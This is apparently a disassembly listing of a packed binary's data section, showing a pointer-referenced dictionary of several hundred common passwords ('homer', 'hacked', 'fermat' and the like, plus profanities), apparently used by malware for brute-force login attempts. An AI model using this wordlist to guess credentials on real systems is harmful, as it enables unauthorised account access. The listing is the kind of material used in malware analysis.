align 4
aHomer db 'homer',0 ; DATA XREF: .nsp0:0042CF2Co
align 10h
aHomepage db 'homepage',0 ; DATA XREF: .nsp0:0042CF28o
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:0042CF24o
align 4
aHolly db 'holly',0 ; DATA XREF: .nsp0:0042CF20o
align 10h
aHole db 'hole',0 ; DATA XREF: .nsp0:0042CF1Co
align 4
aHits db 'hits',0 ; DATA XREF: .nsp0:0042CF18o
align 10h
aHitler db 'hitler',0 ; DATA XREF: .nsp0:0042CF14o
align 4
aHighland db 'highland',0 ; DATA XREF: .nsp0:0042CF10o
align 4
aHigh db 'high',0 ; DATA XREF: .nsp0:0042CF0Co
align 4
aHidden db 'hidden',0 ; DATA XREF: .nsp0:0042CF08o
align 4
aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:0042CF04o
align 10h
aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:0042CF00o
align 4
aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:0042CEFCo
align 4
aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:0042CEF8o
aHeroin db 'heroin',0 ; DATA XREF: .nsp0:0042CEF4o
align 4
aHero db 'hero',0 ; DATA XREF: .nsp0:0042CEF0o
align 10h
aHerbert db 'herbert',0 ; DATA XREF: .nsp0:0042CEECo
aHerb db 'herb',0 ; DATA XREF: .nsp0:0042CEE8o
align 10h
aHelp db 'help',0 ; DATA XREF: .nsp0:0042CEE4o
align 4
aHello db 'hello',0 ; DATA XREF: .nsp0:0042CEE0o
align 10h
aHell db 'hell',0 ; DATA XREF: .nsp0:0042CEDCo
align 4
aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:0042CED8o
align 4
aHeidi db 'heidi',0 ; DATA XREF: .nsp0:0042CED4o
align 4
aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:0042CED0o
align 4
aHeather db 'heather',0 ; DATA XREF: .nsp0:0042CECCo
aHeathen db 'heathen',0 ; DATA XREF: .nsp0:0042CEC8o
aHeat db 'heat',0 ; DATA XREF: .nsp0:0042CEC4o
align 10h
aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:0042CEC0o
align 4
aHead db 'head',0 ; DATA XREF: .nsp0:0042CEBCo
align 4
aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:0042CEB8o
align 4
aHaven db 'haven',0 ; DATA XREF: .nsp0:0042CEB4o
align 4
aHate db 'hate',0 ; DATA XREF: .nsp0:0042CEB0o
align 4
aHarvey db 'harvey',0 ; DATA XREF: .nsp0:0042CEACo
align 4
aHarold db 'harold',0 ; DATA XREF: .nsp0:0042CEA8o
align 4
aHarmony db 'harmony',0 ; DATA XREF: .nsp0:0042CEA4o
aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:0042CEA0o
align 10h
aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:0042CE9Co
align 4
aHard db 'hard',0 ; DATA XREF: .nsp0:0042CE98o
align 4
aHappenin db 'happenin',0 ; DATA XREF: .nsp0:0042CE94o
align 10h
aHandjob db 'handjob',0 ; DATA XREF: .nsp0:0042CE90o
aHandily db 'handily',0 ; DATA XREF: .nsp0:0042CE8Co
aHandel db 'handel',0 ; DATA XREF: .nsp0:0042CE88o
align 4
aHamster db 'hamster',0 ; DATA XREF: .nsp0:0042CE84o
aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:0042CE80o
align 4
aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:0042CE7Co
align 4
aHair db 'hair',0 ; DATA XREF: .nsp0:0042CE78o
align 4
aHagar db 'hagar',0 ; DATA XREF: .nsp0:0042CE74o
align 4
aHacked db 'hacked',0 ; DATA XREF: .nsp0:0042CE70o
align 4
aHack db 'hack',0 ; DATA XREF: .nsp0:0042CE6Co
align 4
aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0042CE68o
align 4
aGumption db 'gumption',0 ; DATA XREF: .nsp0:0042CE64o
align 4
aGuitar db 'guitar',0 ; DATA XREF: .nsp0:0042CE60o
align 10h
aGuess db 'guess',0 ; DATA XREF: .nsp0:0042CE5Co
align 4
aGucci db 'gucci',0 ; DATA XREF: .nsp0:0042CE58o
align 10h
aGuardian db 'guardian',0 ; DATA XREF: .nsp0:0042CE54o
align 4
aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:0042CE50o
aGroup db 'group',0 ; DATA XREF: .nsp0:0042CE4Co
align 4
aGreen db 'green',0 ; DATA XREF: .nsp0:0042CE48o
align 4
aGreat db 'great',0 ; DATA XREF: .nsp0:0042CE44o
align 4
aGrant db 'grant',0 ; DATA XREF: .nsp0:0042CE40o
align 4
aGrand db 'grand',0 ; DATA XREF: .nsp0:0042CE3Co
align 4
aGrahm db 'grahm',0 ; DATA XREF: .nsp0:0042CE38o
align 4
aGraham db 'graham',0 ; DATA XREF: .nsp0:0042CE34o
align 4
aGrades db 'grades',0 ; DATA XREF: .nsp0:0042CE30o
align 4
aGovermen db 'govermen',0 ; DATA XREF: .nsp0:0042CE2Co
align 10h
aGouge db 'gouge',0 ; DATA XREF: .nsp0:0042CE28o
align 4
aGosling db 'gosling',0 ; DATA XREF: .nsp0:0042CE24o
aGorges db 'gorges',0 ; DATA XREF: .nsp0:0042CE20o
align 4
aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:0042CE1Co
align 4
aGood db 'good',0 ; DATA XREF: .nsp0:0042CE18o
align 4
aGolfer db 'golfer',0 ; DATA XREF: .nsp0:0042CE14o
align 4
aGolf db 'golf',0 ; DATA XREF: .nsp0:0042CE10o
align 4
aGolden db 'golden',0 ; DATA XREF: .nsp0:0042CE0Co
align 4
aGold db 'gold',0 ; DATA XREF: .nsp0:0042CE08o
align 4
aGlacier db 'glacier',0 ; DATA XREF: .nsp0:0042CE04o
aGirl db 'girl',0 ; DATA XREF: .nsp0:0042CE00o
align 4
aGinger db 'ginger',0 ; DATA XREF: .nsp0:0042CDFCo
align 4
aGina db 'gina',0 ; DATA XREF: .nsp0:0042CDF8o
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:0042CDF4o
align 4
aGibson db 'gibson',0 ; DATA XREF: .nsp0:0042CDF0o
align 10h
aGhost db 'ghost',0 ; DATA XREF: .nsp0:0042CDECo
align 4
aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:0042CDE8o
align 4
aGerm db 'germ',0 ; DATA XREF: .nsp0:0042CDE4o
align 4
aGeorge db 'george',0 ; DATA XREF: .nsp0:0042CDE0o
align 4
aGauss db 'gauss',0 ; DATA XREF: .nsp0:0042CDDCo
align 4
aGatt db 'gatt',0 ; DATA XREF: .nsp0:0042CDD8o
align 4
aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:0042CDD4o
align 10h
aGateway db 'gateway',0 ; DATA XREF: .nsp0:0042CDD0o
aGarfield db 'garfield',0 ; DATA XREF: .nsp0:0042CDCCo
align 4
aGardner db 'gardner',0 ; DATA XREF: .nsp0:0042CDC8o
aGames db 'games',0 ; DATA XREF: .nsp0:0042CDC4o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:0042CDC0o
aFungible db 'fungible',0 ; DATA XREF: .nsp0:0042CDBCo
align 4
aFunction db 'function',0 ; DATA XREF: .nsp0:0042CDB8o
align 4
aFudge db 'fudge',0 ; DATA XREF: .nsp0:0042CDB4o
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:0042CDB0o
aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:0042CDACo
align 4
aFucking db 'fucking',0 ; DATA XREF: .nsp0:0042CDA8o
aFucker db 'fucker',0 ; DATA XREF: .nsp0:0042CDA4o
align 4
aFuck db 'fuck',0 ; DATA XREF: .nsp0:0042CDA0o
align 4
aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:0042CD9Co
align 4
aFrog db 'frog',0 ; DATA XREF: .nsp0:0042CD98o
align 4
aFrighten db 'frighten',0 ; DATA XREF: .nsp0:0042CD94o
align 10h
aFriends db 'friends',0 ; DATA XREF: .nsp0:0042CD90o
aFriend db 'friend',0 ; DATA XREF: .nsp0:0042CD8Co
align 10h
aFriday db 'friday',0 ; DATA XREF: .nsp0:0042CD88o
align 4
aFrench db 'french',0 ; DATA XREF: .nsp0:0042CD84o
align 10h
aFreedom db 'freedom',0 ; DATA XREF: .nsp0:0042CD80o
aFree db 'free',0 ; DATA XREF: .nsp0:0042CD7Co
align 10h
aFred db 'fred',0 ; DATA XREF: .nsp0:0042CD78o
align 4
aFreak db 'freak',0 ; DATA XREF: .nsp0:0042CD74o
align 10h
aFrank db 'frank',0 ; DATA XREF: .nsp0:0042CD70o
align 4
aFrance db 'france',0 ; DATA XREF: .nsp0:0042CD6Co
align 10h
aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0042CD68o
aFourier db 'fourier',0 ; DATA XREF: .nsp0:0042CD64o
aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:0042CD60o
align 4
aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:0042CD5Co
align 4
aFormat db 'format',0 ; DATA XREF: .nsp0:0042CD58o
align 10h
aForm db 'form',0 ; DATA XREF: .nsp0:0042CD54o
align 4
aForever db 'forever',0 ; DATA XREF: .nsp0:0042CD50o
aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:0042CD4Co
align 4
aFord db 'ford',0 ; DATA XREF: .nsp0:0042CD48o
align 4
aForce db 'force',0 ; DATA XREF: .nsp0:0042CD44o
align 4
aFootball db 'football',0 ; DATA XREF: .nsp0:0042CD40o
align 4
aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:0042CD3Co
align 4
aFool db 'fool',0 ; DATA XREF: .nsp0:0042CD38o
align 4
aFood db 'food',0 ; DATA XREF: .nsp0:0042CD34o
align 4
aFlowers db 'flowers',0 ; DATA XREF: .nsp0:0042CD30o
aFlower db 'flower',0 ; DATA XREF: .nsp0:0042CD2Co
align 4
aFlorida db 'florida',0 ; DATA XREF: .nsp0:0042CD28o
aFloat db 'float',0 ; DATA XREF: .nsp0:0042CD24o
align 4
aFlakes db 'flakes',0 ; DATA XREF: .nsp0:0042CD20o
align 4
aFishers db 'fishers',0 ; DATA XREF: .nsp0:0042CD1Co
aFirewall db 'firewall',0 ; DATA XREF: .nsp0:0042CD18o
align 10h
aFire db 'fire',0 ; DATA XREF: .nsp0:0042CD14o
align 4
aFinite db 'finite',0 ; DATA XREF: .nsp0:0042CD10o
align 10h
aFile db 'file',0 ; DATA XREF: sub_40CE55+1D0Fo
; sub_40CE55+1D85o ...
align 4
aFight db 'fight',0 ; DATA XREF: .nsp0:0042CD08o
align 10h
aField db 'field',0 ; DATA XREF: .nsp0:0042CD04o
align 4
aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:0042CD00o
align 4
aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:0042CCFCo
aFermat db 'fermat',0 ; DATA XREF: .nsp0:0042CCF8o
align 4
aFender db 'fender',0 ; DATA XREF: .nsp0:0042CCF4o
align 4
aFelicia db 'felicia',0 ; DATA XREF: .nsp0:0042CCF0o
aFeds db 'feds',0 ; DATA XREF: .nsp0:0042CCECo
align 4
aFear db 'fear',0 ; DATA XREF: .nsp0:0042CCE8o
align 4
aFast db 'fast',0 ; DATA XREF: .nsp0:0042CCE4o
align 4
aFart db 'fart',0 ; DATA XREF: .nsp0:0042CCE0o
align 4
aFaraday db 'faraday',0 ; DATA XREF: .nsp0:0042CCDCo
aFarad db 'farad',0 ; DATA XREF: .nsp0:0042CCD8o
align 4
aFamily db 'family',0 ; DATA XREF: .nsp0:0042CCD4o
align 4
aFalse db 'false',0 ; DATA XREF: .nsp0:0042CCD0o
align 4
aFalcon db 'falcon',0 ; DATA XREF: .nsp0:0042CCCCo
align 4
aFaith db 'faith',0 ; DATA XREF: .nsp0:0042CCC8o
align 4
aFairway db 'fairway',0 ; DATA XREF: .nsp0:0042CCC4o
aExtensio db 'extensio',0 ; DATA XREF: .nsp0:0042CCC0o
align 4
aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:0042CCBCo
align 4
aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0042CCB8o
align 10h
aExplore db 'explore',0 ; DATA XREF: .nsp0:0042CCB4o
aExplode db 'explode',0 ; DATA XREF: .nsp0:0042CCB0o
aExpert db 'expert',0 ; DATA XREF: .nsp0:0042CCACo
align 4
aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0042CCA8o
align 10h
aEuclid db 'euclid',0 ; DATA XREF: .nsp0:0042CCA4o
align 4
aEternity db 'eternity',0 ; DATA XREF: .nsp0:0042CCA0o
align 4
aEstate db 'estate',0 ; DATA XREF: .nsp0:0042CC9Co
align 4
aEstablis db 'establis',0 ; DATA XREF: .nsp0:0042CC98o
align 4
aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:0042CC94o
align 10h
aErotic db 'erotic',0 ; DATA XREF: .nsp0:0042CC90o
align 4
aErin db 'erin',0 ; DATA XREF: .nsp0:0042CC8Co
align 10h
aErika db 'erika',0 ; DATA XREF: .nsp0:0042CC88o
align 4
aErica db 'erica',0 ; DATA XREF: .nsp0:0042CC84o
align 10h
aEric db 'eric',0 ; DATA XREF: .nsp0:0042CC80o
align 4
aErenity db 'erenity',0 ; DATA XREF: .nsp0:0042CC7Co
aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0042CC78o
align 4
aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:0042CC74o
align 4
aEnter db 'enter',0 ; DATA XREF: .nsp0:0042CC70o
align 4
aEnglish db 'english',0 ; DATA XREF: .nsp0:0042CC6Co
aEngland db 'england',0 ; DATA XREF: .nsp0:0042CC68o
aEngineer db 'engineer',0 ; DATA XREF: .nsp0:0042CC64o
align 4
aEngine db 'engine',0 ; DATA XREF: .nsp0:0042CC60o
align 10h
aEnemy db 'enemy',0 ; DATA XREF: .nsp0:0042CC5Co
align 4
aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0042CC58o
align 4
aEmily db 'emily',0 ; DATA XREF: .nsp0:0042CC54o
align 4
aEmerald db 'emerald',0 ; DATA XREF: .nsp0:0042CC50o
aEmail db 'email',0 ; DATA XREF: .nsp0:0042CC4Co
align 4
aEllen db 'ellen',0 ; DATA XREF: .nsp0:0042CC48o
align 4
aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:0042CC44o
align 10h
aElephant db 'elephant',0 ; DATA XREF: .nsp0:0042CC40o
align 4
aElectron db 'electron',0 ; DATA XREF: .nsp0:0042CC3Co
align 4
aElanor db 'elanor',0 ; DATA XREF: .nsp0:0042CC38o
align 10h
aElaine db 'elaine',0 ; DATA XREF: .nsp0:0042CC34o
align 4
aEinstein db 'einstein',0 ; DATA XREF: .nsp0:0042CC30o
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:0042CC2Co
align 10h
aEileen db 'eileen',0 ; DATA XREF: .nsp0:0042CC28o
align 4
aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:0042CC24o
align 4
aEgghead db 'egghead',0 ; DATA XREF: .nsp0:0042CC20o
aEdwina db 'edwina',0 ; DATA XREF: .nsp0:0042CC1Co
align 4
aEdwin db 'edwin',0 ; DATA XREF: .nsp0:0042CC18o
align 4
aEducatio db 'educatio',0 ; DATA XREF: .nsp0:0042CC14o
align 4
aEducation db 'education',0 ; DATA XREF: .nsp0:0042CC10o
align 4
aEdition db 'edition',0 ; DATA XREF: .nsp0:0042CC0Co
aEdit db 'edit',0 ; DATA XREF: .nsp0:0042CC08o
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:0042CC04o
align 10h
aEdges db 'edges',0 ; DATA XREF: .nsp0:0042CC00o
align 4
aEddie db 'eddie',0 ; DATA XREF: .nsp0:0042CBFCo
align 10h
aEcho db 'echo',0 ; DATA XREF: .nsp0:0042CBF8o
align 4
aEatme db 'eatme',0 ; DATA XREF: .nsp0:0042CBF4o
align 10h
aEasy db 'easy',0 ; DATA XREF: .nsp0:0042CBF0o
align 4
aEasier db 'easier',0 ; DATA XREF: .nsp0:0042CBECo
align 10h
aEarth db 'earth',0 ; DATA XREF: .nsp0:0042CBE8o
align 4
aEagle db 'eagle',0 ; DATA XREF: .nsp0:0042CBE4o
align 10h
aEager db 'eager',0 ; DATA XREF: .nsp0:0042CBE0o
align 4
aDyke db 'dyke',0 ; DATA XREF: .nsp0:0042CBDCo
align 10h
aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0042CBD8o
aDuncan db 'duncan',0 ; DATA XREF: .nsp0:0042CBD4o
align 10h
aDulce db 'dulce',0 ; DATA XREF: .nsp0:0042CBD0o
align 4
aDuke db 'duke',0 ; DATA XREF: .nsp0:0042CBCCo
align 10h
aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0042CBC8o
aDude db 'dude',0 ; DATA XREF: .nsp0:0042CBC4o
align 10h
aDuck db 'duck',0 ; DATA XREF: .nsp0:0042CBC0o
align 4
aDrought db 'drought',0 ; DATA XREF: .nsp0:0042CBBCo
aDrive db 'drive',0 ; DATA XREF: .nsp0:0042CBB8o
align 4
aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:0042CBB4o
align 10h
aDragon db 'dragon',0 ; DATA XREF: .nsp0:0042CBB0o
align 4
aDownload db 'download',0 ; DATA XREF: .nsp0:0042CBACo
align 4
aDope db 'dope',0 ; DATA XREF: .nsp0:0042CBA8o
align 4
aDoors db 'doors',0 ; DATA XREF: .nsp0:0042CBA4o
align 4
aDoor db 'door',0 ; DATA XREF: .nsp0:0042CBA0o
align 4
aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:0042CB9Co
align 4
aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:0042CB98o
align 4
aDoomii db 'doomii',0 ; DATA XREF: .nsp0:0042CB94o
align 4
aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:0042CB90o
align 4
aDoom db 'doom',0 ; DATA XREF: .nsp0:0042CB8Co
align 4
aDong db 'dong',0 ; DATA XREF: .nsp0:0042CB88o
align 4
aDollar db 'dollar',0 ; DATA XREF: .nsp0:0042CB84o
align 4
aDoctor db 'doctor',0 ; DATA XREF: .nsp0:0042CB80o
align 4
aDisplay db 'display',0 ; DATA XREF: .nsp0:0042CB7Co
aDisney db 'disney',0 ; DATA XREF: .nsp0:0042CB78o
align 4
aDiskette db 'diskette',0 ; DATA XREF: .nsp0:0042CB74o
align 10h
aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:0042CB70o
align 4
aDiscover db 'discover',0 ; DATA XREF: .nsp0:0042CB6Co
align 4
aDisclose db 'disclose',0 ; DATA XREF: .nsp0:0042CB68o
align 10h
aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:0042CB64o
align 4
aDisc db 'disc',0 ; DATA XREF: .nsp0:0042CB60o
align 4
aDirty db 'dirty',0 ; DATA XREF: .nsp0:0042CB5Co
align 4
aDirector db 'director',0 ; DATA XREF: .nsp0:0042CB58o
align 4
aDirect db 'direct',0 ; DATA XREF: .nsp0:0042CB54o
align 10h
aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:0042CB50o
aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:0042CB4Co
align 4
aDigital db 'digital',0 ; DATA XREF: .nsp0:0042CB48o
aDieter db 'dieter',0 ; DATA XREF: .nsp0:0042CB44o
align 4
aDiet db 'diet',0 ; DATA XREF: .nsp0:0042CB40o
align 4
aDiehard db 'diehard',0 ; DATA XREF: .nsp0:0042CB3Co
aDick db 'dick',0 ; DATA XREF: .nsp0:0042CB38o
align 4
aDice db 'dice',0 ; DATA XREF: .nsp0:0042CB34o
align 4
aDiane db 'diane',0 ; DATA XREF: .nsp0:0042CB30o
align 4
aDiana db 'diana',0 ; DATA XREF: .nsp0:0042CB2Co
align 4
aDiamond db 'diamond',0 ; DATA XREF: .nsp0:0042CB28o
aDial db 'dial',0 ; DATA XREF: .nsp0:0042CB24o
align 4
aDevice db 'device',0 ; DATA XREF: .nsp0:0042CB20o
align 4
aDevelop db 'develop',0 ; DATA XREF: .nsp0:0042CB1Co
aDesperat db 'desperat',0 ; DATA XREF: .nsp0:0042CB18o
align 10h
aDesktop db 'desktop',0 ; DATA XREF: .nsp0:0042CB14o
aDesk db 'desk',0 ; DATA XREF: .nsp0:0042CB10o
align 10h
aDesiree db 'desiree',0 ; DATA XREF: .nsp0:0042CB0Co
aDennis db 'dennis',0 ; DATA XREF: .nsp0:0042CB08o
align 10h
aDenise db 'denise',0 ; DATA XREF: .nsp0:0042CB04o
align 4
aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:0042CB00o
align 4
aDeluge db 'deluge',0 ; DATA XREF: .nsp0:0042CAFCo
align 4
aDelta db 'delta',0 ; DATA XREF: .nsp0:0042CAF8o
align 4
aDefoe db 'defoe',0 ; DATA XREF: .nsp0:0042CAF4o
align 4
aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0042CAF0o
aDeck db 'deck',0 ; DATA XREF: .nsp0:0042CAE8o
align 4
aDecember db 'december',0 ; DATA XREF: .nsp0:0042CAE4o
align 4
aDebug db 'debug',0 ; DATA XREF: .nsp0:0042CAE0o
align 10h
aDeborah db 'deborah',0 ; DATA XREF: .nsp0:0042CADCo
aDebbie db 'debbie',0 ; DATA XREF: .nsp0:0042CAD8o
align 10h
aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:0042CAD4o
align 4
aDead db 'dead',0 ; DATA XREF: .nsp0:0042CAD0o
align 4
aDawn db 'dawn',0 ; DATA XREF: .nsp0:0042CACCo
align 4
aDave db 'dave',0 ; DATA XREF: .nsp0:0042CAC8o
align 4
aData db 'data',0 ; DATA XREF: .nsp0:0042CAC4o
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0042CAC0o
align 4
aDark db 'dark',0 ; DATA XREF: .nsp0:0042CABCo
align 10h
aDapper db 'dapper',0 ; DATA XREF: .nsp0:0042CAB8o
align 4
aDanny db 'danny',0 ; DATA XREF: .nsp0:0042CAB4o
align 10h
aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0042CAB0o
align 4
aDaniel db 'daniel',0 ; DATA XREF: .nsp0:0042CAACo
align 4
aDancer db 'dancer',0 ; DATA XREF: .nsp0:0042CAA8o
align 4
aDana db 'dana',0 ; DATA XREF: .nsp0:0042CAA4o
align 4
aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0042CAA0o
align 4
aDaemon db 'daemon',0 ; DATA XREF: .nsp0:0042CA9Co
align 4
aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:0042CA98o
aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:0042CA94o
align 4
aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0042CA90o
align 4
aCyber db 'cyber',0 ; DATA XREF: .nsp0:0042CA8Co
align 4
aCustomer db 'customer',0 ; DATA XREF: .nsp0:0042CA88o
align 4
aCunt db 'cunt',0 ; DATA XREF: .nsp0:0042CA84o
align 10h
aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0042CA80o
align 4
aCrystal db 'crystal',0 ; DATA XREF: .nsp0:0042CA7Co
aCristina db 'cristina',0 ; DATA XREF: .nsp0:0042CA78o
align 4
aCriminal db 'criminal',0 ; DATA XREF: .nsp0:0042CA74o
align 4
aCrime db 'crime',0 ; DATA XREF: .nsp0:0042CA70o
align 10h
aCretin db 'cretin',0 ; DATA XREF: .nsp0:0042CA6Co
align 4
aCreosote db 'creosote',0 ; DATA XREF: .nsp0:0042CA68o
align 4
aCredit db 'credit',0 ; DATA XREF: .nsp0:0042CA64o
align 4
aCreature db 'creature',0 ; DATA XREF: .nsp0:0042CA60o
align 4
aCreation db 'creation',0 ; DATA XREF: .nsp0:0042CA5Co
align 4
aCreate db 'create',0 ; DATA XREF: .nsp0:0042CA58o
align 4
aCream db 'cream',0 ; DATA XREF: .nsp0:0042CA54o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0042CA50o
align 10h
aCrack db 'crack',0 ; DATA XREF: .nsp0:0042CA4Co
align 4
aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:0042CA48o
align 10h
aCouscous db 'couscous',0 ; DATA XREF: .nsp0:0042CA44o
align 4
aCountry db 'country',0 ; DATA XREF: .nsp0:0042CA40o
aCounters db 'counters',0 ; DATA XREF: .nsp0:0042CA3Co
align 10h
aCorrect db 'correct',0 ; DATA XREF: .nsp0:0042CA38o
aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:0042CA34o
align 4
aCopy db 'copy',0 ; DATA XREF: .nsp0:0042CA30o
align 4
aCops db 'cops',0 ; DATA XREF: .nsp0:0042CA2Co
align 4
aCopper db 'copper',0 ; DATA XREF: .nsp0:0042CA28o
align 4
aCooper db 'cooper',0 ; DATA XREF: .nsp0:0042CA24o
align 4
aCool db 'cool',0 ; DATA XREF: .nsp0:0042CA20o
align 4
aCookie db 'cookie',0 ; DATA XREF: .nsp0:0042CA1Co
align 4
aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:0042CA18o
align 10h
aCook db 'cook',0 ; DATA XREF: .nsp0:0042CA14o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_40CE55+1F88o
; .nsp0:0042CA10o
align 4
aConsole db 'console',0 ; DATA XREF: .nsp0:0042CA0Co
aConserva db 'conserva',0 ; DATA XREF: .nsp0:0042CA08o
align 4
aConnie db 'connie',0 ; DATA XREF: .nsp0:0042CA04o
align 10h
aCondom db 'condom',0 ; DATA XREF: .nsp0:0042C9FCo
align 4
aCondo db 'condo',0 ; DATA XREF: .nsp0:0042C9F8o
align 10h
aComrades db 'comrades',0 ; DATA XREF: .nsp0:0042C9F4o
align 4
aComrade db 'comrade',0 ; DATA XREF: .nsp0:0042C9F0o
aComputin db 'computin',0 ; DATA XREF: .nsp0:0042C9ECo
align 10h
aCompany db 'company',0 ; DATA XREF: .nsp0:0042C9E8o
aCommrade db 'commrade',0 ; DATA XREF: .nsp0:0042C9E4o
align 4
aCommit db 'commit',0 ; DATA XREF: .nsp0:0042C9E0o
align 4
aComics db 'comics',0 ; DATA XREF: .nsp0:0042C9DCo
align 4
aCombat db 'combat',0 ; DATA XREF: .nsp0:0042C9D8o
align 4
aColor db 'color',0 ; DATA XREF: .nsp0:0042C9D4o
align 4
aCollins db 'collins',0 ; DATA XREF: .nsp0:0042C9D0o
aCold db 'cold',0 ; DATA XREF: .nsp0:0042C9CCo
align 4
aCola db 'cola',0 ; DATA XREF: .nsp0:0042C9C8o
align 4
aCoke db 'coke',0 ; DATA XREF: .nsp0:0042C9C4o
align 4
aCoin db 'coin',0 ; DATA XREF: .nsp0:0042C9C0o
align 4
aCoffee db 'coffee',0 ; DATA XREF: .nsp0:0042C9BCo
align 4
aCodeword db 'codeword',0 ; DATA XREF: .nsp0:0042C9B8o
align 10h
aCodename db 'codename',0 ; DATA XREF: .nsp0:0042C9B4o
align 4
aCode db 'code',0 ; DATA XREF: .nsp0:0042C9B0o
align 4
aCock db 'cock',0 ; DATA XREF: .nsp0:0042C9ACo
align 4
aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:0042C9A8o
align 4
aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:0042C9A4o
align 4
aCoast db 'coast',0 ; DATA XREF: .nsp0:0042C9A0o
align 4
aClusters db 'clusters',0 ; DATA XREF: .nsp0:0042C99Co
align 4
aCluster db 'cluster',0 ; DATA XREF: .nsp0:0042C998o
aClinton db 'clinton',0 ; DATA XREF: .nsp0:0042C994o
aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0042C990o
align 4
aClaymore db 'claymore',0 ; DATA XREF: .nsp0:0042C98Co
align 10h
aClaudia db 'claudia',0 ; DATA XREF: .nsp0:0042C988o
aClassic db 'classic',0 ; DATA XREF: .nsp0:0042C984o
aClasses db 'classes',0 ; DATA XREF: .nsp0:0042C980o
aClass db 'class',0 ; DATA XREF: .nsp0:0042C97Co
align 10h
aCindy db 'cindy',0 ; DATA XREF: .nsp0:0042C978o
align 4
aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:0042C974o
align 4
aCigar db 'cigar',0 ; DATA XREF: .nsp0:0042C970o
align 4
aChristy db 'christy',0 ; DATA XREF: .nsp0:0042C96Co
aChristin db 'christin',0 ; DATA XREF: .nsp0:0042C968o
align 10h
aChris db 'chris',0 ; DATA XREF: .nsp0:0042C964o
align 4
aChip db 'chip',0 ; DATA XREF: .nsp0:0042C960o
align 10h
aChester db 'chester',0 ; DATA XREF: .nsp0:0042C95Co
aChess db 'chess',0 ; DATA XREF: .nsp0:0042C958o
align 10h
aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:0042C954o
align 4
aChem db 'chem',0 ; DATA XREF: .nsp0:0042C950o
align 4
aChat_0 db 'chat',0 ; DATA XREF: .nsp0:0042C94Co
align 4
aCharon db 'charon',0 ; DATA XREF: .nsp0:0042C948o
align 4
aCharming db 'charming',0 ; DATA XREF: .nsp0:0042C944o
align 10h
aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0042C940o
aCharles db 'charles',0 ; DATA XREF: .nsp0:0042C93Co
aCharity db 'charity',0 ; DATA XREF: .nsp0:0042C938o
aChange db 'change',0 ; DATA XREF: .nsp0:0042C934o
align 10h
aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:0042C930o
align 4
aCeltics db 'celtics',0 ; DATA XREF: .nsp0:0042C92Co
aCeltic db 'celtic',0 ; DATA XREF: .nsp0:0042C928o
align 4
aCelt db 'celt',0 ; DATA XREF: .nsp0:0042C924o
align 4
aCecily db 'cecily',0 ; DATA XREF: .nsp0:0042C920o
